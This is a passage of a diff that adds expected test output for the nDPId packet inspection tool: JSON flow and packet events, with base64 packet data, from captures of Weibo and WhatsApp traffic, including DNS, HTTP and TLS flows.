+00424{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":759907,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0AABAADEGFnUvWUHlwKgBaQG7xo+u1rhnnywRAoASOQgi\/AAAAgQFqAEBBAIBAwMJ"} +00407{"flow_id":38,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":423,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":759940,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"kDVu60UQeJKcD6iOCABFAAAoGylAAEAG7FfAqAFpL1lB5caPAbufLBECrta4aFAQAOWb5wAA"} +00550{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":760507,"pkt_caplen":157,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":157,"pkt_l4_len":123,"pkt":"eJKcD6iOkDVu60UQCABFAACPAABAAEARtqPAqAEBwKgBaQA1xdAAe7w5O9aBgAABAAMAAAAABmFjanN0YgZhbGl5dW4DY29tAAABAAHADAAFAAEAAAJYAAcEYWNqc8ATwC8ABQABAAABAAAhBGFjanMGYWxpeXVuA2NvbQNnZHMKYWxpYmFiYWRuc8AawEIAAQABAAAAbAAEKpy4Ew=="} +00712{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":424,"source":"weibo.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":2,"flow_first_seen":1463089073287,"flow_last_seen":1463089073760,"flow_tot_l4_data_len":166,"flow_min_l4_data_len":43,"flow_max_l4_data_len":123,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":50640,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"acjstb.aliyun.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"42.156.184.19"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":425,"source":"weibo.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1463089073760,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"42.156.184.19","src_port":52271,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":760679,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8np1AAEAG913AqAFpKpy4E8wvAbt9EpT8AAAAAKACchBGkwAAAgQFtAQCCAoAQQphAAAAAAEDAwc="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":426,"source":"weibo.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1463089073760,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"42.156.184.19","src_port":52272,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":760724,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8jjVAAEAGB8bAqAFpKpy4E8wwAbsmFYRUAAAAAKACchCuNwAAAgQFtAQCCAoAQQphAAAAAAEDAwc="} +00562{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":763925,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"eJKcD6iOkDVu60UQCABFAACYAABAAEARtprAqAEBwKgBaQA1hB4AhOXUkPeBgAABAAMAAAAABWxvZ2luBnRhb2JhbwNjb20AAAEAAcAMAAUAAQAAASwADAl3YWdicmlkZ2XAEsAuAAUAAQAAAMgAJgl3YWdicmlkZ2UGdGFvYmFvA2NvbQNnZHMKYWxpYmFiYWRuc8AZwEYAAQABAAAALwAEjM2qPw=="} +00663{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":429,"source":"weibo.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":2,"flow_first_seen":1463089073289,"flow_last_seen":1463089073763,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":42,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":87,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":33822,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"login.taobao.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"140.205.170.63"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":430,"source":"weibo.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1463089073764,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"140.205.170.63","src_port":47721,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":430,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":764453,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8woBAAEAGfx3AqAFpjM2qP7ppAbuaKMjiAAAAAKACchCy\/gAAAgQFtAQCCAoAQQpiAAAAAAEDAwc="} +00423{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":773608,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0AABAADEGjQneSRxgwKgBaQBQpSMt08jatYdf34ASOQjHwAAAAgQFqAEBBAIBAwMI"} +00408{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":773636,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"kDVu60UQeJKcD6iOCABFAAAoVdlAAEAGKDzAqAFp3kkcYKUjAFC1h1\/fLdPI21AQAOVAqwAA"} +00984{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":773797,"pkt_caplen":482,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":482,"pkt_l4_len":448,"pkt":"kDVu60UQeJKcD6iOCABFAAHUVdpAAEAGJo\/AqAFp3kkcYKUjAFC1h1\/fLdPI21AYAOWIKwAAR0VUIC9wdWJsaWMvZmlsZXMvaW1hZ2UvNjIweDMwMF9pbWc1NjUzZDU3YzZkYWIyLnBuZyBIVFRQLzEuMQ0KSG9zdDogdTEuaW1nLm1vYmlsZS5zaW5hLmNuDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpBY2NlcHQ6IGltYWdlL3dlYnAsaW1hZ2UvKiwqLyo7cT0wLjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzUwLjAuMjY2MS4xMDIgU2FmYXJpLzUzNy4zNg0KUmVmZXJlcjogaHR0cDovL3d3dy53ZWliby5jb20vbG9naW4ucGhwP2xhbmc9ZW4tdXMNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZSwgc2RjaA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuOCxpdC1JVDtxPTAuNixpdDtxPTAuNCxydTtxPTAuMg0KDQo="} +00809{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":437,"source":"weibo.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":4,"flow_first_seen":1463089073394,"flow_last_seen":1463089073773,"flow_tot_l4_data_len":540,"flow_min_l4_data_len":20,"flow_max_l4_data_len":448,"flow_avg_l4_data_len":135,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"222.73.28.96","src_port":42275,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"u1.img.mobile.sina.cn","url":"u1.img.mobile.sina.cn\/public\/files\/image\/620x300_img5653d57c6dab2.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/50.0.2661.102 Safari\/537.36"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":440,"source":"weibo.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1463089073788,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"42.156.184.19","src_port":52274,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":788865,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8M4FAAEAGYnrAqAFpKpy4E8wyAbubxznpAAAAAKACchCC5wAAAgQFtAQCCAoAQQpoAAAAAAEDAwc="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":441,"source":"weibo.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1463089073789,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"140.205.170.63","src_port":47723,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":789999,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8F+ZAAEAGKbjAqAFpjM2qP7prAbvY7h2OAAAAAKACchAfhQAAAgQFtAQCCAoAQQpoAAAAAAEDAwc="} +00423{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":885851,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0e6lAADgGIFddvIb2wKgBaQBQi+OyanX2+fqAX4AQAqSCEQAAAQEICgN2DmEAQQo9"} diff --git a/test/results/whatsapp_login_call.pcap.out b/test/results/whatsapp_login_call.pcap.out new file mode 100644 index 000000000..a87195cc0 --- /dev/null +++ b/test/results/whatsapp_login_call.pcap.out @@ -0,0 +1,512 @@ +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1432582222253,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.70","src_port":49199,"dst_port":993,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":253233,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0DNdAAEAG9U7AqAIEEaxkRsAvA+GIPSCcUlOPyIAQH\/poTQAAAQEICi36Gt0QlQ1l"} +00669{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":267722,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"xiwDYGpkAPS5Jrv0CABFAADeU1tAAEAGriDAqAIEEaxkRsAvA+GIPSCcUlOPyIAYIAB\/kgAAAQEICi36GusQlQ1lFwMBACCNqYpymgjJuQNgLA+QJekfsmHWqykdlwnJ8t48lRIpCxcDAQCAv+6eyOO6KHhFdGRnKCRyPqihrwnYLrpV5EXpUrXv8Q2ow7fiZ\/ErfHE9ZAprbeZEb1cjDczzZ9GWtg7wUDK1rjYT+gKbhCMZiNQZ3QlWly2tQPPw5M7rqWdzOWy2ATMXqxCkXOBCTdOBYD70ikDCSIjo2fZ8\/cJDhiGvSnc\/9Rw="} +00435{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":410350,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0e5UAAC8G15ARrGRGwKgCBAPhwC9SU4\/IiD0hRoAQAJuGIAAAAQEIChCVDjkt+hrr"} +00556{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":471083,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"APS5Jrv0xiwDYGpkCABFAACJe5YAAC8G1zoRrGRGwKgCBAPhwC9SU4\/IiD0hRoAYAJui9AAAAQEIChCVDnQt+hrrFwMBAFAOU4Dqrk0xBR8mTKZ422FaiS6lEkMOmtTZ8SKUcLM58+Kde7t8MXre7pdm72xwkZJWc\/nmuQtIaS\/7arXyG1nGCW2zfHgJjrWZGH2fMy05sw=="} +00435{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":472880,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0LtRAAEAG01HAqAIEEaxkRsAvA+GIPSFGUlOQHYAQH\/plZQAAAQEICi36G7cQlQ50"} +00623{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":490590,"pkt_caplen":204,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":204,"pkt_l4_len":170,"pkt":"xiwDYGpkAPS5Jrv0CABFAAC+CfJAAEAG96nAqAIEEaxkRsAvA+GIPSFGUlOQHYAYIABX0gAAAQEICi36G8gQlQ50FwMBACANZfGYQ88qtODxZiPbJprCDuhmOwTOtFhb37u6pJDubhcDAQBg18cYHnGgxx79FzMJhZ1kYBx4ySa3+6qAIy09\/jRI9YobDgpMUb8Gy7mMJrOl\/rLU9qYq6YN6TSRbTUxWVVaAilbdUrcZ0AqXspFnQn5N9uWE6Z+mCSy5WHFSBem737mu"} +00434{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":633219,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0e5cAAC8G144RrGRGwKgCBAPhwC9SU5AdiD0h0IAQAKSDfQAAAQEIChCVDxct+hvI"} +00555{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":751078,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"APS5Jrv0xiwDYGpkCABFAACJe5gAAC8G1zgRrGRGwKgCBAPhwC9SU5AdiD0h0IAYAKRk0QAAAQEIChCVD4wt+hvIFwMBAFDKwGQ6oPL1AqAzz9olNE\/BCp+LSiypQUfAybDHjel0k1dV+mvh40HlsRaOR2LY8+JOfjJkuvEr+myDxw3cWJkZ8M9SMz\/mp13w4MGi44bYEA=="} +00435{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":765686,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0NJRAAEAGzZHAqAIEEaxkRsAvA+GIPSHQUlOQcoAQH\/piSgAAAQEICi36HNsQlQ+M"} +00605{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":779027,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"xiwDYGpkAPS5Jrv0CABFAACubVhAAEAGlFPAqAIEEaxkRsAvA+GIPSHQUlOQcoAYIAALiQAAAQEICi36HOcQlQ+MFwMBACAgbcxfMtSMptXez+uFE3m0Fa9f+MvPaieXp+0HsrzB5xcDAQBQqEtZ\/BPiWJJLS\/IvF1CQEdfg1vmVOXSagSxz6MiQdHpkQKoW2APbnF7RjulfWlw6JLGwKyvtR6WajfngNPxtRt4UOnYSsLx+it790xhsnCM="} +00436{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":926339,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0e5kAAC8G14wRrGRGwKgCBAPhwC9SU5ByiD0iSoAQAKSAbQAAAQEIChCVEDkt+hzn"} +00555{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":979483,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"APS5Jrv0xiwDYGpkCABFAACJe5oAAC8G1zYRrGRGwKgCBAPhwC9SU5ByiD0iSoAYAKSgIQAAAQEIChCVEHEt+hznFwMBAFCtvnfrK9W8csZyaRAqhhwM779PgNd13t6vk7iEynuhQJQYVoJiyLFZrJoCWOuxGMkITWEMbq3652zhoLq6TizXutNWuKDwXoHBir8QQWsZJg=="} +00438{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":981192,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0BYdAAEAG\/J7AqAIEEaxkRsAvA+GIPSJKUlOQx4AQH\/pfwQAAAQEICi36HbAQlRBx"} +00586{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582222,"pkt_ts_usec":990976,"pkt_caplen":172,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":172,"pkt_l4_len":138,"pkt":"xiwDYGpkAPS5Jrv0CABFAACe5npAAEAGG0HAqAIEEaxkRsAvA+GIPSJKUlOQx4AYIAAD\/gAAAQEICi36HbkQlRBxFwMBACA\/7+3k7ZQjshHNa4itk6LszWuSq0aRWA5QYTHlnF6tcxcDAQBAYDyOCcbXfuBhhdQ6FBKZ7lY374AO+D+PP\/LzHlV4aO1uUVyhZ6T4rrDUq0Bl+2rt3zsLYU4a2Cg7iD82mR9Elw=="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1432582223075,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.154.66.121","src_port":49166,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582223,"pkt_ts_usec":75943,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoimtAAEAGmaXAqAIEEZpCecAOAbvaSAv6foHOKFARQABkXQAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1432582223077,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.154.66.111","src_port":49163,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00419{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582223,"pkt_ts_usec":77297,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAowYpAAEAGYpDAqAIEEZpCb8ALAbvQPf\/UHJzPWVARQADbTgAA"} +00436{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582223,"pkt_ts_usec":135004,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0e5sAAC8G14oRrGRGwKgCBAPhwC9SU5DHiD0itIAQAKR+CgAAAQEIChCVEQst+h25"} +00420{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582223,"pkt_ts_usec":271314,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAo1rsAAPAG3V4RmkJvwKgCBAG7wAscnM9Z0D3\/1VARCf8RTwAA"} +00419{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582223,"pkt_ts_usec":276650,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAos7EAAPAGAF8RmkJ5wKgCBAG7wA5+gc4o2kgL+1ARCf+aXQAA"} +00420{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582223,"pkt_ts_usec":379275,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoD6pAAEAGFHHAqAIEEZpCb8ALAbvQPf\/VHJzPWlAQQADbTQAA"} 